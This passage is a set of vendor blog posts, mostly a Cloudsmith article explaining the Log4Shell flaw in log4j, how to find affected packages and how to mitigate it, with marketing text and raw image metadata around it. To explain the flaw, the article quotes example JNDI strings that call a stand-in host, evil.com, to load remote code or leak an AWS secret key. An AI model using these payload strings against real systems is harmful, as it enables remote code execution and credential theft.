location. This helps to foster that collaboration and facilitates the distributed nature of software development today. ## **OK! So how do we implement CP?** Well, there is good news here. You have probably already started! If you're still curious on uncovering more about CP, download our report: [The Rise of Continuous Packaging](https://cloudsmith.com/developers/resources/the-rise-of-continuous-packaging/) which covers everything you need to know about CP, and how to start implementing it in your organization today. Package management is the core component of Continuous Packaging, and you are likely doing this in some form already. Even if you don’t have a fully automated CI / CD pipeline in place just yet, developers will be pulling packages from repositories and creating packages when building (even locally). What is essential is to bring all this together with a single source for software artifacts, a source that you control. You should employ a best-in-class, cloud-native tool for package management, one that provides [universal package support](https://cloudsmith.com/product/universal/), controls and availability, so that you can realise the benefits of Continuous Packaging. Cloudsmith is the most cloud-native, universal package management service on the planet, but don't just take our word for it. Join today with a [14 day free trial](https://cloudsmith.com/signup/), and experience the benefits of introducing Continuous Packaging into your CI / CD pipeline. Your development teams, security teams and perhaps most importantly your customers, will thank you for it. ## Log4Shell Explained This article discusses the background, impact, identification, and mitigation of [Log4Shell](https://en.wikipedia.org/wiki/Log4Shell), one of the worst vulnerabilities to arise in the past decade. Here at Cloudsmith, [security and privacy](https://cloudsmith.com/product/secure/) are paramount. As a hosted package management service helping customers distribute millions of packages worldwide, we're part of the story for securing software supply chains. Read on further to learn what log4shell is, see how the log4shell vulnerability works and what you can do to protect yourself and your users. ## What is Log4Shell? The `log4j` library, part of the [Apache Software Foundation (ASF)](https://en.wikipedia.org/wiki/The_Apache_Software_Foundation), is a general and commonly utilized logging framework used by Java developers worldwide. The framework allows developers to log data (including user-sourced information) in their applications. On 10th December 2021, a ****_critical_**** severity Remote Code Execution (RCE) exploit disclosure `log4j` was published as [CVE-2021-44228](https://nvd.nist.gov/vuln/detail/CVE-2021-44228), affecting versions below `2.15.0`. The vulnerability was coined [Log4Shell](https://en.wikipedia.org/wiki/Log4Shell) to imply that exploiting it resulted in a shell (login) on a server. Due to the widespread deployment of Java applications `log4j`, many sources have characterized the exploit as one of the most impactful last decade. For example, [Tenable](https://www.tenable.com/) described it as the "single biggest, most critical vulnerability of the last decade". Before disclosure as CVE-2021-44228, the exploit entered the collective mind space of developers everywhere as a Minecraft-specific attack, utilizing crafted strings to execute code on the Minecraft server. As shown in the [following tweet](https://twitter.com/twokilohertz/status/1469087293126365186), dated 9th December 2021: ```json { "_key": "d10a1ab9a1e1", "_type": "image", "alt": "log4j_tweet_120921", "asset": { "_createdAt": "2025-06-05T08:00:02Z", "_id": "image-68b382f060a900743cb0b1f00ba26ca60eed212b-587x387-png", "_rev": "2MVa2LY6RC9Yy6hPJdhtCV", "_type": "sanity.imageAsset", "_updatedAt": "2025-06-05T08:00:02Z", "assetId": "68b382f060a900743cb0b1f00ba26ca60eed212b", "extension": "png", "metadata": { "_type": "sanity.imageMetadata", "blurHash": "V13[rD^+-o=|xCxuxat7oLoe%NM}RlWFR,%Mt7t8xbxb", "dimensions": { "_type": "sanity.imageDimensions", "aspectRatio": 1.516795865633075, "height": 387, "width": 587 }, "hasAlpha": true, "isOpaque": true, "lqip": "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAANCAYAAACpUE5eAAAACXBIWXMAAA7DAAAOwwHHb6hkAAAB+klEQVR4nGVSa4+bMBC08iBgHjYJARtIYi5EaRVVaaXrqer//19T7QDRtf0w8u6Cx7uzo37//MC3xwOn0wm+beF9C+c9GudQNw0OhwOstTDW8JxQfootjDEoigJpmkK9P5+4324IYcB1HDGON1yvVwzDgEsIfKhtO3R9h1Pfo+9PrBGMz4T3DsYUUHVVsYu260g0XkeESyCJc55dVtURx+MRTdOgaRxc43i+cu/5vShyqDiOobWGsZbE+/0e1ljkeY4syzlGkiRIEs04yzKkWmqa93SaQqcaiU6QxDFU60q4psS+nPQoy5Ka5HkxE2a8vBAI+W63QxRFiKId420UYbvdEurX+xvenwHh3FGXy+WCrutQ1zX27Hju2i4PSefp1N0MIV2v11itVlCPLz2+3jr0nSOR955EslXZnBBItxNRNuNfwmgiUwoqSxPkmeaPcklGeo0QRdhsNnxdzmWsv2sbxiQTyJZLW1LcSZ+Y2kyYCOV1gVxcf86X2jwuu/z4/gP38Ya6XuxR8zwcqlk7C1MUHL8w5mVigcRmhjiAS7m/XdG3PT0nCxFDD2FgfD6f/8dsavkeQnj9V1UVJ1L0WJzAGMsuxayOhm1oaqKuZxPP9Tl3znGJkmdpRgnUoo1oFseTxwQxzZxgF4umEWuSa52+fMia1oyXLf8BENU2WruvM8UAAAAASUVORK5CYII=", "palette": { "_type": "sanity.imagePalette", "darkMuted": { "_type": "sanity.imagePaletteSwatch", "background": "#585138", "foreground": "#fff", "population": 0.15, "title": "#fff" }, "darkVibrant": { "_type": "sanity.imagePaletteSwatch", "background": "#4c2404", "foreground": "#fff", "population": 0, "title": "#fff" }, "dominant": { "_type": "sanity.imagePaletteSwatch", "background": "#585138", "foreground": "#fff", "population": 0.15, "title": "#fff" }, "lightMuted": { "_type": "sanity.imagePaletteSwatch", "background": "#d1b2a5", "foreground": "#000", "population": 0.08, "title": "#fff" }, "lightVibrant": { "_type": "sanity.imagePaletteSwatch", "background": "#e4d4ac", "foreground": "#000", "population": 0, "title": "#000" }, "muted": { "_type": "sanity.imagePaletteSwatch", "background": "#9b8351", "foreground": "#fff", "population": 0.1, "title": "#fff" }, "vibrant": { "_type": "sanity.imagePaletteSwatch", "background": "#a48433", "foreground": "#fff", "population": 0.04, "title": "#fff" } } }, "mimeType": "image/png", "originalFilename": "aHViPTEyMzY2NSZjbWQ9aXRlbWVkaXRvcmltYWdlJmZpbGVuYW1lPWl0ZW1lZGl0b3JpbWFnZV82MWMzMmFlYTg3ZThhLnBuZyZ2ZXJzaW9uPTAwMDAmc2lnPTdjMGUxZTA4ODZhNjg0NGYyMmUwZDZlNTc3MzQ0MThk", "path": "images/rafvlnhi/production/68b382f060a900743cb0b1f00ba26ca60eed212b-587x387.png", "sha1hash": "68b382f060a900743cb0b1f00ba26ca60eed212b", "size": 56347, "uploadId": "7B1NMWhOpjN5df9YxppsWnObHsPsAdjp", "url": "https://cdn.sanity.io/images/rafvlnhi/production/68b382f060a900743cb0b1f00ba26ca60eed212b-587x387.png" }, "caption": null, "link": null, "markDefs": null } ``` However, as hinted in the above tweet, it was suspected at the time that the extent of the impact had far-reaching consequences beyond Minecraft alone. Then, following disclosure, CVE-2021-44228 confirmed the alleged impact on servers and services worldwide. As stated in a [tweet by Matthew Prince](https://twitter.com/eastdakota/status/1469800951351427073), CEO of Cloudflare, they found evidence to suggest that the earliest known attacks seen by them started on 1st December 2021. The evidence indicates that it was "in the wild" for at least nine days before the public CVE disclosure. Since the disclosure, some of the major enterprises that have been affected by this include Apple, Amazon, Cloudflare, Steam, Tesla, Twitter, and Baidu. Therefore, the possibility is high, regardless of whether you are directly impacted or not, that someone in your supply chain potentially is or has been already. ## Just how bad is the log4j exploit? ****Extremely**** bad, or instead, as bad as possible (or perhaps, even worse). The exploit affects `log4J` versions below `2.15.0`, disclosed as [CVE-2021-44228](https://nvd.nist.gov/vuln/detail/CVE-2021-44228) and referred to as [Log4Shell](https://en.wikipedia.org/wiki/Log4Shell). Apache assigned a [Common Vulnerability Scoring System (CVSS)](https://nvd.nist.gov/vuln-metrics/cvss) score of 10 (the highest available) because the exploit enables both full Remote Code Execution (RCE) and data exfiltration. Given specially crafted strings, `log4j` below version `2.15.0` performs network-based lookups of objects from URLs using the [Java Naming and Directory Interface (JDNI)](https://docs.oracle.com/javase/tutorial/jndi/overview/index.html). One of the supported protocols is the [Lightweight Directory Access Protocol](https://en.wikipedia.org/wiki/Lightweight_Directory_Access_Protocol) (LDAP), which can retrieve data from arbitrary URLs for evaluation and execution, either local to the server or remotely. In its default configuration, `log4j` will perform string interpolation (substitution) for special lookup variables in the form of `${:}`, such as replacing `${date:yyyy-MM-dd}` with the date `2021-12-10`. Using the JNDI, with an expression such as `${jndi:ldap://evil.com/bad/payload}`, it then becomes possible to load and execute arbitrary code from `evil.com/bad/payload`. The [Naked Security by Sophos blog](https://nakedsecurity.sophos.com/2021/12/13/log4shell-explained-how-it-works-why-you-need-to-know-and-how-to-fix-it/) provides an example of this. They use `ncat` (a well-known networking utility) to open a listening socket that reflects data to an exploitable server. If the data returned is _also_ well-crafted JNDI data, then it will be evaluated as code executed in the context of the application's environment. Visualization provided by the [Juniper Threat Labs blog](https://blogs.juniper.net/en-us/security/apache-log4j-vulnerability-cve-2021-44228-raises-widespread-concerns) shows the workflow in practice: ```json { "_key": "4f44cf928b44", "_type": "image", "alt": "Visual example of the log4j exploit", "asset": { "_createdAt": "2025-06-05T08:00:02Z", "_id": "image-aab9c5b88815ed864bed793823bb891c3d7dee56-938x537-png", "_rev": "2MVa2LY6RC9Yy6hPJdhsfR", "_type": "sanity.imageAsset", "_updatedAt": "2025-06-05T08:00:02Z", "assetId": "aab9c5b88815ed864bed793823bb891c3d7dee56", "extension": "png", "metadata": { "_type": "sanity.imageMetadata", "blurHash": "M4R:E8*z}Z#8M0+d00#S#9DOVX^k4TMd^k", "dimensions": { "_type": "sanity.imageDimensions", "aspectRatio": 1.7467411545623837, "height": 537, "width": 938 }, "hasAlpha": true, "isOpaque": true, "lqip": "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAAAsTAAALEwEAmpwYAAABz0lEQVR4nIWSS28TQRCE9/+f8ifgmkMiuAQfIMopQiKAEbJje9/vx8xO9r1bqDpeC5EDh9LYPb3fVPWMpR4eUNzcwDw+YtAafd9DKYU0TVEUhfxepbVG0zTS07YtqkpD6xrDMGAcR3RdByu5voZzdYXs9hZ9lkljGATY7XY4Ho/wPE/k+z7iOBYwoZVSsB0Pnh/CGCNAHmSln7/g+d172HefYLJMTsnSFKfTCYfDAbZtw3VdhGGIPM/FJXvquobrBXBcT+qs0all4hjOzy32P7Yozhs8kZFXd3TG+IRxj07YV5YV8vy1zpoAO2NQJCniIEStFPquk0gE0t0amw6jKJI6oQQ2TSsr487z/AocjEGrFOqiQMtZnAfOGJwb43IlkEqSROLSETWOI5Zl+QvYdXipDaKIsUoM58b1pv9VWZaSgCACpmkSICVAOqq1hut4iMJY3DEGZxYEweWGV0nkF86xQz/0b4F02OkaZZxAZzn4nxucE6GMvq55kUNphVLnsONnONERaZ5enpK8Q0acCGGMtsVyPnGeJon1RtOIoHCwefqAzdePeNp+w36/lwvjbVv9MMjHyzxfrP9PceXjfnuH++8b/N79kpfA8XC+fwCbS0IL+96QFAAAAABJRU5ErkJggg==", "palette": { "_type": "sanity.imagePalette", "darkMuted": { "_type": "sanity.imagePaletteSwatch", "background": "#5d8e42", "foreground": "#fff", "population": 0.19, "title": "#fff" }, "darkVibrant": { "_type": "sanity.imagePaletteSwatch", "background": "#39611d", "foreground": "#fff", "population": 0.08, "title": "#fff" }, "dominant": { "_type": "sanity.imagePaletteSwatch", "background": "#5d8e42", "foreground": "#fff", "population": 0.19, "title": "#fff" }, "lightMuted": { "_type": "sanity.imagePaletteSwatch", "background": "#a4d4a8", "foreground": "#000", "population": 0.01, "title": "#fff" }, "lightVibrant": { "_type": "sanity.imagePaletteSwatch", "background": "#ec6484", "foreground": "#fff", "population": 0, "title": "#fff" }, "muted": { "_type": "sanity.imagePaletteSwatch", "background": "#66a451", "foreground": "#fff", "population": 0.01, "title": "#fff" }, "vibrant": { "_type": "sanity.imagePaletteSwatch", "background": "#b6343d", "foreground": "#fff", "population": 0.02, "title": "#fff" } } }, "mimeType": "image/png", "originalFilename": "aHViPTEyMzY2NSZjbWQ9aXRlbWVkaXRvcmltYWdlJmZpbGVuYW1lPWl0ZW1lZGl0b3JpbWFnZV82MWMzMmVhY2UyNmNjLnBuZyZ2ZXJzaW9uPTAwMDAmc2lnPTkxMjY2OGI1MTJmOGYwZTBjZDY5YmZiYmQ2N2UyMTgz", "path": "images/rafvlnhi/production/aab9c5b88815ed864bed793823bb891c3d7dee56-938x537.png", "sha1hash": "aab9c5b88815ed864bed793823bb891c3d7dee56", "size": 104800, "uploadId": "6JtpmtjwsWJNV2sXwzczV6Utukt34wwy", "url": "https://cdn.sanity.io/images/rafvlnhi/production/aab9c5b88815ed864bed793823bb891c3d7dee56-938x537.png" }, "caption": null, "link": null, "markDefs": null } ``` The result of the above code execution is that attackers can run any piece of arbitrary code that they choose. It will run in the same context as your application, enjoying all of the same access and privileges. The practical (but malicious) outcomes are almost limitless, from the "simple" database dumps, login shells, botnets, unsolicited spam, etc., through to the dangerous (e.g. targetting public infrastructure). Beyond the use of JNDI LDAP, additional protocols may be subject to exploitation, such as [Java Remote Method Invocation (RMI)](https://en.wikipedia.org/wiki/Java_remote_method_invocation), the well-known [Domain Name System (DNS)](https://en.wikipedia.org/wiki/Domain_Name_System), and the [Internet Inter-ORB Protocol (IIOP)](https://en.wikipedia.org/wiki/General_Inter-ORB_Protocol), etc. Juniper confirmed this by [reporting a shift in](https://blogs.juniper.net/en-us/threat-research/log4j-vulnerability-attackers-shift-focus-from-ldap-to-rmi) JNDI LDAP to RMI attacks, resulting in more sophisticated payloads. So the risk remains high. Although a setting can mitigate code execution, it is shown by [Daniel Miessler of Unsupervised Learning](https://danielmiessler.com/podcast/news-analysis-no-311/) still possible to exfiltrate data with other techniques, such as interpolation into DNS lookups. For example, the expression `${jndi:ldap://${env:AWS_SECRET_ACCESS_KEY}.evil.com}`, if evaluated, will exfiltrate the contents of the `AWS_SECRET_ACCESS_KEY` environment variable. Therefore, despite the assistance of mitigations other than version upgrades, such as implementing rules in Web Application Firewalls (WAFs), disabling JNDI URL-based lookups, or even controlling egress from servers, there is still a considerable risk of impact. The best mitigation route is to upgrade dependencies, shut down (block) installations of impacted `log4j` versions, and examine servers for existing exploitation. In summary, the reason that `log4j` was assigned a CVSS rating of 10 (again, the highest possible) is that: - The `log4j` library is highly commonly used and widespread in the Java community. - The attack enables Remote Code Execution in the context of servers and applications. - It also allows data exfiltration, in which bad actors can steal server-side secrets. - It is reasonably easy to exploit, with little practical knowledge required to do so. - Mitigations other than version upgrades (which aren't always easy) don't fully protect. - Therefore, the attack surface area is unfathomably large and carries a similar impact. So yes, as stated by others in the community, this vulnerability is one of the most significant and most impactful ever seen. As stated by Sophos, it is (sadly) ironic that the data being logged is probably for auditing or security purposes. However, now is the time to do everything in our collective power to protect our servers, applications, users, businesses, and even our entire ecosystem. It's a tough ask, but we're here to help. ## What else do I need to know? Patches for `log4j` have been released to mitigate the vulnerability, in the form of the `2.15.0` (initially) then `2.16.0` and `2.17.0` releases. However, `2.15.0` and `2.16.0` have known Denial of Service [DoS] vulnerabilities, cited in [CVE-2021-45046](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-45046) and [CVE-2021-45105](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-45105). Therefore, the current (as of 21st December 2021) recommendation for mitigation is to update `log4j` dependencies to at least version `2.17.0`. ## How can I identify affected packages? In all use-cases, identification of affected software will involve examining packages for dependencies on `log4j` with the following attributes (expressed in terms of Maven-based GAV coordinates): - ****G****roupID: `org.apache.logging.log4j` - ****A****rtifactID: `log4j*` (or more specifically, `log4j-core`) - ****V****ersion: Generally below `2.17.0` (but specifically for CVE-2021-44228, below `2.15.0`) ## **Identification For Maven Users** You can use the [Maven Dependency](https://maven.apache.org/plugins/maven-dependency-plugin/) plugin to locate local software packages' direct and transitive dependencies. For example, you can [filter the dependency tree](https://maven.apache.org/plugins/maven-dependency-plugin/examples/filtering-the-dependency-tree.html) find log4j usage: ```json { "_key": "7b6274ab4e16", "_type": "code", "code": "$ mvn dependency:tree -Dincludes=org.apache.logging.log4j", "filename": null, "language": "text", "markDefs": null } ``` Which will output something like: ```json { "_key": "bb2443e43b8e", "_type": "code", "code": "[INFO] [dependency:tree] [INFO] com.yourcompany.aggregator:aggregator-plugin:2.0.5 [INFO] \\- org.apache.logging.log4j:log4j:jar:2.14.1", "filename": null, "language": "text", "markDefs": null } ``` ## Identification For Cloudsmith Users We released additional functionality to [search for dependencies](https://help.cloudsmith.io/docs/search-packages) such as `log4j` across packages stored within Cloudsmith repositories. The syntax is `dependency:`, so to search for `log4j` dependencies, you specify `dependency:log4j`. The functionality is available via the UI, the API and the CLI. For example, you can search via the CLI using: ```json { "_key": "b83557758e44", "_type": "code", "code": "$ cloudsmith ls packages {account}/{repo} -q \"dependency:log4jGetting list of packages ... OK Name | Version | Status | Owner / Repository (Identifier) spring-boot-starter-log4j2 | 2.6.1 | Completed | you/your-repo/URjuLZOWzKjW Results: 1-1 (1) of 1 package visible (page: 1/1, page size: 30)", "filename": null, "language": "text", "markDefs": null } ``` The above only tells you which packages have a direct/non-transitive dependency on `log4j`, it doesn't (yet) allow a search on versions (note: concrete versions are not always known in a repository). However, if you're utilizing Cloudsmith as a proper Single Source of Truth, and store all packages that your applications utilize, then it is possible to detect all uses of `log4j` (because it will be visible across all packages used). Using the new [package dependencies API](https://help.cloudsmith.io/reference#packages_dependencies), you can confirm the versions of those dependencies. The functionality is also available via the latest Cloudsmith CLI release, `0.31.1`, which includes a new `dependencies` sub-command that can be used to list dependencies for a package. For example, using the "identifier" for the package from above: ```json { "_key": "a20bdecb05b0", "_type": "code", "code": "$ cloudsmith deps your-account/your-repo/URjuLZOWzKjWGetting direct (non-transitive) dependencies of URjuLZOWzKjW in your-account/your-repo ... OK Type | Name | Operator | Version Compile | org.apache.logging.log4j:log4j-core | >= | 2.14.1 Compile | org.apache.logging.log4j:log4j-jul | >= | 2.14.1 Compile | org.apache.logging.log4j:log4j-slf4j-impl | >= | 2.14.1 Compile | org.slf4j:jul-to-slf4j | >= | 1.7.32 Results: 4 direct dependencies", "filename": null, "language": "text", "markDefs": null } ``` You can always use a combination of these commands and the `-F json` (format as JSON) flag for scripting calls. So, for example, you could use the `ls` (list) command from the CLI to find packages that depend upon `log4j` and then the `deps` (dependencies) command to get the details. For example, you can use the following (albeit, Linux-y) script to automate the generation of a Comma-Separated Value (CSV) report (disclaimer: this is a little hacked together, but should serve to demonstrate the point; if you get stuck, let us help you): ```json { "_key": "aceea20ca6e8", "_type": "code", "code": "#/bin/bash # list_log4j_deps.sh [optional args] account=$1 args=${2:-\"\"} echo \"account,repository,package,dependency,operator,version\" while IFS= read -r repository; do while IFS= read -r identifier; do p=\"$account,$repository,$identifier\" cloudsmith deps $account/$repository/$identifier -F json $args 2>/dev/null \\ | jq -r \".data[] | \\\"$p,\\\" + .name + \\\",\\\" + .operator + \\\",\\\" + .version\" \\ | grep log4j done < <( cloudsmith ls pkg $account/$repository -q 'dependency:log4j' \\ -F json $args 2>/dev/null | jq -r \".data[] | .slug_perm\" ) done < <( cloudsmith ls repo $account -F json $args 2>/dev/null | jq -r \".data[] | .slug\" )", "filename": null, "language": "text", "markDefs": null } ``` Which will result in something like: ```json { "_key": "f3314ae59de7", "_type": "code", "code": "$ bash list_log4j_deps.sh your-accountaccount,repository,package,dependency,operator,version your-account,repo,URjuLZOWzKjW,org.apache.logging.log4j:log4j-core,>=,2.14.1 your-account,repo,URjuLZOWzKjW,org.apache.logging.log4j:log4j-jul,>=,2.14.1 your-account,repo,URjuLZOWzKjW,org.apache.logging.log4j:log4j-slf4j-impl,>=,2.14.1", "filename": null, "language": "text", "markDefs": null } ``` Finally, if you're looking to automate the scripting but don't want to use the Python-based Cloudsmith CLI, you can also achieve the same result by executing queries against the [Cloudsmith APIs](https://help.cloudsmith.io/reference/). How can I prevent installs of `log4j`? For Cloudsmith users, a recently added feature of repositories is to prevent install for impacted versions of `log4j`. The blocking functionality is currently a bespoke feature that will (eventually) metamorph into a more generalized quarantine/risk/controls feature, for now, services `log4j` only. You can enable block in any Cloudsmith repository on the settings page. It looks like: ```json { "_key": "40594cee614e", "_type": "image", "alt": "blocking functionality on Cloudsmith ", "asset": { "_createdAt": "2025-06-05T08:00:03Z", "_id": "image-ac366a10fee3eb6ebfee2e9003a4db6bdb3e1979-947x329-png", "_rev": "gnJeqIUmT5gWK5E6lfpBlv", "_type": "sanity.imageAsset", "_updatedAt": "2025-06-05T08:00:03Z", "assetId": "ac366a10fee3eb6ebfee2e9003a4db6bdb3e1979", "extension": "png", "metadata": { "_type": "sanity.imageMetadata", "blurHash": "D6S6V$00EIkloftW#@^m%3xb", "dimensions": { "_type": "sanity.imageDimensions", "aspectRatio": 2.878419452887538, "height": 329, "width": 947 }, "hasAlpha": true, "isOpaque": true, "lqip": "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAHCAYAAAAIy204AAAACXBIWXMAAA7DAAAOwwHHb6hkAAABCUlEQVR4nI3Oy4rCMBSA4b7/C7lx49qVMAs3IgPaJmluTW3Ti+k/NDMjqAxM4ONwNv9JoWxLWXuuynFVlot0XKTNuzABe5sIQyIMd5r4a857iIl2WB5u40KhrUcoTSVrSqko89SUtaXSDuUC2rcY1zzxbUc/TEz35UlhjEFKiRCCqhIIIRFSUkmVj0ilUbVG15p6pVcW3wSGcWJZFhZ4KLxzGG0enHU45/De431DCIGu64h9T7+KkT4OOXZPiddXGG9QRmXaaUIbiDEyjiPTNDHPMyml75/8SKuU8nwLnvSJD/HBoTpwrI+om2Kcx7fIX96C+2rP9nPL5rxhd9lxbs45+J/Ya3DdvwAgoRsoiHOHUQAAAABJRU5ErkJggg==", "palette": { "_type": "sanity.imagePalette", "darkMuted": { "_type": "sanity.imagePaletteSwatch", "background": "#2f6b2d", "foreground": "#fff", "population": 0, "title": "#fff" }, "darkVibrant": { "_type": "sanity.imagePaletteSwatch", "background": "#295d27", "foreground": "#fff", "population": 0, "title": "#fff" }, "dominant": { "_type": "sanity.imagePaletteSwatch", "background": "#68b368", "foreground": "#fff", "population": 1.47, "title": "#fff" }, "lightMuted": { "_type": "sanity.imagePaletteSwatch", "background": "#b4c0cc", "foreground": "#000", "population": 0.02, "title": "#fff" }, "lightVibrant": { "_type": "sanity.imagePaletteSwatch", "background": "#94ec8c", "foreground": "#000", "population": 0, "title": "#fff" }, "muted": { "_type": "sanity.imagePaletteSwatch", "background": "#68b368", "foreground": "#fff", "population": 1.47, "title": "#fff" }, "vibrant": { "_type": "sanity.imagePaletteSwatch", "background": "#4dad49", "foreground": "#fff", "population": 0.03, "title": "#fff" } } }, "mimeType": "image/png", "originalFilename": "aHViPTEyMzY2NSZjbWQ9aXRlbWVkaXRvcmltYWdlJmZpbGVuYW1lPWl0ZW1lZGl0b3JpbWFnZV82MWMzMzIzNzE2N2U2LnBuZyZ2ZXJzaW9uPTAwMDAmc2lnPWM0NWRlYmFiNDRkMTFlMGQ4YjJlMjM5NWUyMGI2ZDI4", "path": "images/rafvlnhi/production/ac366a10fee3eb6ebfee2e9003a4db6bdb3e1979-947x329.png", "sha1hash": "ac366a10fee3eb6ebfee2e9003a4db6bdb3e1979", "size": 26889, "uploadId": "LuHszgeRhxJXJmFzWGr7yygoB6IK2xhF", "url": "https://cdn.sanity.io/images/rafvlnhi/production/ac366a10fee3eb6ebfee2e9003a4db6bdb3e1979-947x329.png" }, "caption": null, "link": null, "markDefs": null } ``` As stated, this functionality will: automatically block log4j-related downloads unless they meet a specific version constraint. The blocking applies to both local (cached) and upstream packages. A package is considered related to `log4j` if the GroupID is `org.apache.logging.log4j` and the ArtifactID contains `log4j` (e.g. `log4j-core`). ## How can I mitigate the Log4Shell vulnerability? Primarily, by following the [mitigation advice](https://logging.apache.org/log4j/2.x/security.html) given by Apache: - Identify applications utilizing `log4`j dependencies below `2.15.0` (as above). - Upgrade `log4j` dependencies to at least version `2.17.0` (`2.15.0` and `2.16.0` have known Denial of Service [DoS] vulnerabilities, cited in [CVE-2021-45046](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-45046) and [CVE-2021-45105](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-45105), so the [recommendation by Apache](https://logging.apache.org/log4j/2.x/security.html) is to use `2.17.0` and above.). If you're unable to update dependencies, you can also utilize the following mitigations (but bear in mind that the primary mitigation is still to upgrade dependencies, and these are not foolproof either, as demonstrated above re: [Daniel Miessler of Unsupervised Learning](https://danielmiessler.com/podcast/news-analysis-no-311/)): - You can mitigate the issue for applications that use `log4j` above/equal to `2.10` by setting system property `log4j2.formatMsgNoLookups` or environment variable `LOG4J_FORMAT_MSG_NO_LOOKUPS` to true. For example: - Via property: `java -Dlog4j2.formatMsgNoLookups=true ...` - Via environment: `LOG4J_FORMAT_MSG_NO_LOOKUPS=true java ...` - For applications that use `log4j` between `>=2.7` and `<=2.14.1`, you can mitigate by removing `org/apache/logging/log4j/core/lookup/JndiLookup.class` from the classpath. For example: - By executing: `zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class` In addition to those, there are also additional techniques available to reduce the exploit potential: - For applications behind a Web Application Firewall (WAF), your provider may have (or will be releasing) additional rules to prevent exploration. The idea is to block requests containing `$jndi:ldap://` (although it won't be foolproof). For example, AWS has [updated its WAF ruleset](https://aws.amazon.com/security/security-bulletins/AWS-2021-005/) `AWSManagedRulesKnownBadInputsRuleSet` to include dynamic prevention. - It may also be possible to mitigate exploits by blocking egress/outbound connections destined for LDAP or RMI or any type of traffic other than necessary. However, this might not prevent all kinds of attacks. The JNDI interface supports multiple protocols, and even executing a DNS lookup can leak information. ## Summary The `log4j` vulnerability is a critical security risk that can lead to Remote Code Execution (RCE) and, as such, should not be taken lightly. Due to the widespread use `log4j` across many enterprises, projects, and organizations, the blast radius is one of the largest ever seen. You should take all steps necessary to mitigate this vulnerability as quickly as possible, and we empathize with all those affected by it. It's another reminder of how critical software supply chain security is and how great the exposure can be when a critical exploit emerges in the wild. If you have any questions about the exploit, need any additional help with identification or mitigation, or have any general concerns, please don't hesitate to contact us. As previously mentioned, this is a bad one, so ****#hugops**** to all involved worldwide. ## Learn more Please visit the following resources to learn more about Log4Shell: - [https://nvd.nist.gov/vuln/detail/CVE-2021-44228](https://nvd.nist.gov/vuln/detail/CVE-2021-44228) - [https://logging.apache.org/log4j/2.x/security.html](https://logging.apache.org/log4j/2.x/security.html) - [https://www.ncsc.gov.uk/news/apache-log4j-vulnerability](https://www.ncsc.gov.uk/news/apache-log4j-vulnerability) - [https://arstechnica.com/information-technology/2021/12/the-log4shell-zeroday-4-days-on-what-is-it-and-how-bad-is-it-really/](https://arstechnica.com/information-technology/2021/12/the-log4shell-zeroday-4-days-on-what-is-it-and-how-bad-is-it-really/) - [https://blogs.juniper.net/en-us/security/apache-log4j-vulnerability-cve-2021-44228-raises-widespread-concerns](https://blogs.juniper.net/en-us/security/apache-log4j-vulnerability-cve-2021-44228-raises-widespread-concerns) - [https://nakedsecurity.sophos.com/2021/12/13/log4shell-explained-how-it-works-why-you-need-to-know-and-how-to-fix-it/](https://nakedsecurity.sophos.com/2021/12/13/log4shell-explained-how-it-works-why-you-need-to-know-and-how-to-fix-it/) - [https://danielmiessler.com/podcast/news-analysis-no-311/](https://danielmiessler.com/podcast/news-analysis-no-311/) ## Next Steps with Cloudsmith If you're not currently with Cloudsmith, it's easy to take the next step. You can [start a free trial immediately](https://app.cloudsmith.com) and spin up a repository within 60 seconds, or [contact us](https://cloudsmith.com/company/contact-us/) to set up a no-fuss demo session with our team. Cloudsmith is the most cloud-native, universal package management service on the planet, but don't just take our word for it. Join us and take back control of your software supply chain today! At Cloudsmith, our core mission is to be THE universal package repository. That is why we support so many different packages, artifacts, and image formats and constantly improve the functionality and support we provide. With this in mind, we are happy to announce the latest improvements to our support for Dart packages. ## **The History of Cloudsmith and Dart** In 2020, what seems like a lifetime ago, Cloudsmith was the first package management product to [announce support for Dart packages in private repositories](/blog/cloudsmith-launches-worlds-first-private-dart-repository-service). We have always been big fans of Dart and what the Google Dart team has been trying to achieve. Before the Dart SDK 2.15 release, the Dart client tooling didn't have native support for authenticating private repositories, nor any native support for publishing dart packages to private repositories. Cloudsmith did support the ability to push [Dart packages](https://cloudsmith.com/dart-repository/) to a private repository via the Cloudsmith CLI ``cloudsmith push dart`` command, as we do for all the package formats we support. However, we prefer supporting native package tooling where possible, and we always recommend using native tooling to publish packages. ## **Adding Advanced Support for Dart Packages** Since 2020, we have had many customers use our Dart support, and, as with all the features we add to Cloudsmith, we have listened to their feedback and used this to drive our product development and roadmap. So we were delighted when the opportunity came up to work alongside the Google Dart team. Together, we’ve added advanced support for some of the awesome improvements that landed as part of the Dart 2.15 release, as it was clear that they too have been listening to the broader Dart community. ## **Improvements, you say? Tell me more!** From the Cloudsmith perspective, arguably, the most significant improvement that the Dart team worked on was adding support for authentication for 3rd party repositories. This support allows authenticating via the native Dart tooling to repositories such as Cloudsmith and it greatly expands the possible places to securely host your Dart packages beyond pub.dev (the official public source for Dart packages). It opens the door to more accessible use of [private repositories](https://cloudsmith.com/product/). This support took the form of the [`dart pub token`](https://dart.dev/tools/pub/cmd/pub-token) command. This command allows storing and managing secret tokens for authenticating against third-party repositories, [publishing](https://dart.dev/tools/pub/cmd/pub-lish) packages, and [retrieving](https://dart.dev/tools/pub/cmd/pub-get) dependencies. This means that you can use the `dart pub token` command with your Cloudsmith API Key to configure the Dart client to publish packages directly to your private repositories on Cloudsmith. And you can also use it with a [Cloudsmith Entitlement Token](https://help.cloudsmith.io/docs/entitlements) if you’d like to provide secure, read-only access to pull packages/dependencies from a private Cloudsmith repository. This change has made integrating private repositories on Cloudsmith so much tighter, more secure, more straightforward, and, dare I say it, “Just Better”! While the older method of using the Cloudsmith CLI and the `cloudsmith push dart` command is still supported for anyone using Dart 2.14 or earlier, with Dart 2.15.1, it’s now so much easier to store your credentials securely. You also have one less thing to install as part of your CI environment or build pipeline. Don’t get me wrong, we LOVE the Cloudsmith CLI, and it has all sorts of handy functionality for interacting with and managing your resources on Cloudsmith. But when it comes to the core acts of working with packages, publishing/pushing and 